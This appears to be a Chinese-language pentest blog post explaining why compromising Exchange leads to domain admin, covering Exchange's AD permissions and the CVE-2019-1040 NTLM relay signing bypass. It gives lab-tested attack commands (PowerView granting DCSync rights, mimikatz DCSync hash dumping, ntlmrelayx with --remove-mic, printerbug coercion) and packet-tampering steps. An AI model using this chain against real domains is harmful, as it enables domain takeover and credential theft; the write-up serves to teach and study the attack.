我们在进行渗透时会发现拿到Exchange服务器权限之后就可以拥有域管权限或者可以拿到域管权限，那么为什么Exchange这么神奇，我们从Exchange原理、漏洞产生原理和场景利用等方面进行系统分析。

因为安装Exchange的时候是需要域管才可以安装的，所以需要域管登陆Exchange，这时计算机保存了域管的凭证，当我们拿到Exchange服务器后就可以导出，获得域管权限。

当我们安装Exchange时，域会将Exchange的信息和内容写到AD数据库中，所以我们通过Ldap就可以看到Exchange的一些用户属性的配置。

1、扩展Active Directory架构

在Exchange服务器每次升级后，它的架构可能也会有更改。例如Exchange 2019 在更新完之后有时会修改架构。

2、准备活动目录容器、对象和其他项目

首先会在 CN=Servicesm,CN=Configuration,DC=test,DC=com 下创建Microsoft Exchange 容器：

其中的内容有些是只有Exchange 2016才具备的，比如：

CN=UM AutoAttendant Container

CN=UM DialPlan Container

CN=UM IPGateway Container

CN=UM Mailbox Policies

3、准备Active Directory域

可以看到Ldap中多了一个OU，Microsoft Exchange Security Groups（Microsoft Exchange安全组），和一个CN ，Microsoft Exchange System Objects（Microsoft Exchange系统对象）：

我们主要去关注 Microsoft Exchange Security Groups（Microsoft Exchange安全组）的内容：

而 Microsoft Exchange Security Groups（Microsoft Exchange安全组）这个ou里的内容则在 CN=Microsoft Exchange,CN=Services,CN=Configuration,DC=test,DC=com 中的otherWellKnownObjects属性的值：

在安装完Exchange后我们可以查看CN=Microsoft Exchange System Objects,DC=test,DC=com中的objectVersion属性的值来判断是否已经准备好Active Directory域。例如安装的是Exchange 2019则可以通过此属性判断版本。

当我们安装成功Exchange时用户是不可以登陆的，需要在Exchange的配置项中添加用户，从而等于给用户开通邮箱。

如果没有开通邮箱前是无法登陆的。

我们给xx用户开通邮箱，需要登陆管理员的邮箱并进入Excahnge管理中心（ecp目录）当然我们可以选择现有用户就是在域内已经创建了此用户，如果想要开通一个域内还没有的用户则可以选择新用户进行创建，这样在ldap中也会创建一个用户。

之后则可以登陆此账号到邮箱中。

我们开通xx用户的邮箱后观察ldap中xx的属性可以发现多了很多属性，其中包括的用户邮箱等等信息，当我们域渗透进行信息搜集时可以根据此信息判断此用户是否开通了邮箱。

我们来详细看一下 Microsoft Exchange Security Groups，前面说过我们主要关注此OU，那么为什么要关注此OU，这个OU内有什么值得我们关注地方？

Discovery Management 此组成员可以在 Exchange 中针对符合特定标准的数据执行邮箱的搜索。

Exchange Servers 此组中包含当前域内的Exchange服务器，我们通过这个组就可以定位Exchange是哪台计算机：

Exchange windows permissions 组的用户拥有writeDACL权限：

Exchange Trusted Subsystem 用户组又隶属于Exchange Windows Permission，继承了Exchange Windows Permission组的功能：

Exchange Trusted Subsystem 组的成员具有writeDACL权限，默认是Exchange的机器用户，所以这也是我们上面问题的答案。当我们拿到Exchange服务器后就可以对域内用户进行writeDACL，但是我们不能向域管组等添加ACL：

例如：

当我们获得Exchange服务器后，就可以使用Exchange机器账户进行writeDACL。

这时要注意的是需要使用Exchange计算机的机器用户，如果我们使用普通用户的话是不可以writeDACL的，因为Exchange Trusted Subsystem 组的成员只有Excahnge机器。

那么机器用户是什么？简单来说机器用户可以理解为一台机器的system权限，我们来看一下，当我们使用exchangeuser这个域用户进行writeDACL时会怎么样：

1、我们使用了PowerView.ps1工具进行操作将qt01用户添加DCSync权限，可以看到提示拒绝访问。

Add-DomainObjectAcl -TargetIdentity "DC=wanliu1,DC=com" -PrincipalIdentity test -Rights DCSync -Verbose

2、使用mimikatz使用qt01用户进行DCSync时会显示失败。

lsadump::dcsync /domain: /all /csv

3、那我们使用exchange机器用户进行添加，也就是提升到system权限，我们可以看到添加成功了。

4、这时再进行DCSync导出hash，就可以成功导出。

域控            192.168.190.46

Exchange    192.168.190.146

域内账号       qt01

攻击机          kali linux   192.168.192.194

我们使用qt01账号进行DCSync时是失败的，因为权限不够。

1、在攻击机中我们使用ntlmrelayx.py进行监听，并进行relay。给qt01用户添加DCSync权限。

ntlmrelayx.py --remove-mic --escalate-user qt01 -t ldap://192.168.190.46 -smb2support --delegate-access

2、使用打印机漏洞，让exchange向我们进行访问，可以使用exe或者py，根据自己的实际情况来定。

printerbug.py wanliu1.com/qt:qt@[email protected] 192.168.192.194

3、收到请求可以看到添加成功。

4、使用DCSync进行利用。

Ntlm 协议原理在"清河六点下班"公众号文章中介绍过了，如果没了解过NTLM协议原理的小伙伴可以看一下。

我们首先看一下哪些协议是需要签名的：

SMB：双方有一方的 Signing required 为 1 时，启用签名。

LDAP：协商签名，双方都支持签名则使用签名。

HTTP：不支持签名。

我这里一直有一个疑问，到底什么样的机器会开启SMB认证，网上的说法很多，所以不知道哪种是正确的，然后就做了个实验。

结论是域控的SMB认证都是开启的，而非域控机器SMB认证都是关闭的，但是Exchange的SMB认证也是开启的。原来以为装了服务的server系统就会开启，但是当我安装了mssql数据库之后发现并没有开启。

windows server2008域控 开启：

windows server2008 禁用：

windows server2012域控 开启：

windows server2012 禁用：

windows server2016 exchange开启：

windows10 禁用：

根据上面的结果如果要中继到ldap协议时双方都支持签名才会使用签名，所以我们可以使用HTTP协议进行中继，因为HTTP协议是不支持签名的这个后面再说。我们最常用的就是SMB认证，但是SMB认证会有一个问题就是在Exchange中数字签名默认是开启的，只有在非域控或是非exchange服务器才是关闭的。我们去relay普通机器是没用的，我们只能去relay Exchange服务器或者其他高权限的用户去做操作才有意义，为什么Exchange会是高权限用户？上面Exchange基础介绍过了。我们去分析 CVE-2019-1040 这个漏洞之前需要先了解两个东西：

数字签名

签名是一个可以保证数据在发送和接收的过程中没有被篡改。比如小明发送一个数据 "你好" 给A用户，并且对数据进行签名， 那么任何收到该数据和小明签名的人，都可以验证它时小明写的，并且可以确定小明写了这句话，而不是另一个人写的，因为此数据中存在签名保证了数据没有被篡改。

当数据在通讯时开启并使用了签名，那么攻击者就无法进行relay攻击。如果在relay中当攻击者抓取到了数据，并修改了数据，但无法将数据进行签名，因为添加签名需要知道客户端的密码。当我们将没有签名的数据发送给服务器时，服务器会拒绝我们的请求，并将数据包丢弃，因为数据中并没有签名。

Message Integrity Code（MIC）

信息完整性代码，MIC 是在 AUTHENTICATE消息中发送的签名。MIC 使用HMAC_MD5函数计算，称为会话密钥。

ntlm身份校验由三种消息类型组成 NTLM_NEGOTIATE，NTLM_CHALLENGE，NTLM_AUTHENTICATE。

HMAC_MD5(Session key, NEGOTIATE_MESSAGE + CHALLENGE_MESSAGE + AUTHENTICATE_MESSAGE)：

而MIC则在NTLM_AUTHENTICATE中，会话密钥取决于客户端的密码，所以攻击者是无法计算MIC的。

因为我们无法计算MIC，当我们修改其中的数据后，无法重新计算MIC。那么我们如果删除MIC可以吗？删除是可以的，但是还有一个地方表明了是否存在MIC。

在 msvAvFlag 字段中说明了是否包含MIC，如果这个值为 0x00000002 那么客户端就告诉服务端请求中包含MIC，如果服务端发现没有MIC的话就会将数据包其丢弃。

也就是说这个值决定了当我们建立连接之后，通讯是否要加密，如果要加密，那么我们无法计算MIC值所以就无法进行通讯。

我们了解了数字签名和MIC之后接着往下看

在这里我们可以看到此请求是支持签名，但是也可以不需要签名：

Signing enabled 是否支持签名

Signing required 是否需要签名

在这个地方也可以看到是支持签名的，但是是否需要签名是需要看协议和客户端跟服务端的关系来定的。

当我们使用ldap协议进行中继时，可以不设置需要签名，那么进行ldap通讯时就不需要签名。在我们进行relay时是如果从smb 中继到ldap时，因为smb默认支持签名，这样就会触发ldap签名。所以在默认情况下我们是不可以从smb中继到ldap的，但是CVE-2019-1040 这个漏洞完成了对签名的绕过。

这里我们来看一下 CVE-2019-1040 这个漏洞为什么可以从smb中继到ldap。通过smb和ldap对比着来看一下，当让目标请求到攻击者的机器后，攻击者修改了哪些数据发送给服务器，导致服务器可以被攻击成功：

1、让Exchange向攻击者发送SMB请求 NTLM_NEGOTIATE：

攻击者将Excahnge发送的SMB请求进行修改包后发送给目标服务器：

在通过LDAP中继时，取消设置NTLM_NEGOTIATE中的签名标志（NTLMSSP_NEGOTIATE_ALWAYS_SIGN，NTLMSSP_NEGOTIATE_SIGN）。

NTLMSSP_NEGOTIATE_ALWAYS_SIGN 位表示客户端和服务器进行通信应携带数字签名：

具体字段的含义可以查看微软的文档：

https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/99d90ff4-957f-4c8a-80e4-5bfe5a9a9832?redirectedfrom=MSDN

2、攻击者向Exchange返回的内容 NTLM_CHALLENGE：

服务端向攻击者返回的内容，此时没有改变数据：

3、Exchange向攻击者进行认证 NTLM_AUTHENTICATE，有几个地方需要注意，之前我们说过的 0x00000002 值以及版本信息和MIC的值：

当攻击者向服务端转发请求是修改了此部分，0x00000002 值这里没有修改，而是将版本信息以及MIC的值给删除：

还是上面的包3中的这些字段：

将NTLM_AUTHENTICATE中的以下字段设置为0：NTLMSSP_NEGOTIATE_ALWAYS_SIGN，NTLMSSP_NEGOTIATE_SIGN，NEGOTIATE_KEY_EXCHANGE，NEGOTIATE_VERSION

总结一下此漏洞通过修改了哪些地方进行绕过：

MIC绕过

取消MIC校验以确保可以修改数据包中的内容：

（1）从NTLM_AUTHENTICATE消息中删除MIC

（2）从NTLM_AUTHENTICATE消息中删除版本字段（删除MIC字段而不删除版本字段将导致错误）。

LDAP签名绕过

将NEGOTIATE_SIGN设置为not set以绕过LDAP验证：

（1） 取消设置NTLM_NEGOTIATE消息中的签名标志（NTLMSSP_NEGOTIATE_ALWAYS_SIGN，NTLMSSP_NEGOTIATE_SIGN）

（2） 取消设置NTLM_AUTHENTICATE消息中的以下标志：NTLMSSP_NEGOTIATE_ALWAYS_SIGN，NTLMSSP_NEGOTIATE_SIGN，NEGOTIATE_KEY_EXCHANGE，NEGOTIATE_VERSION。

热门动态推荐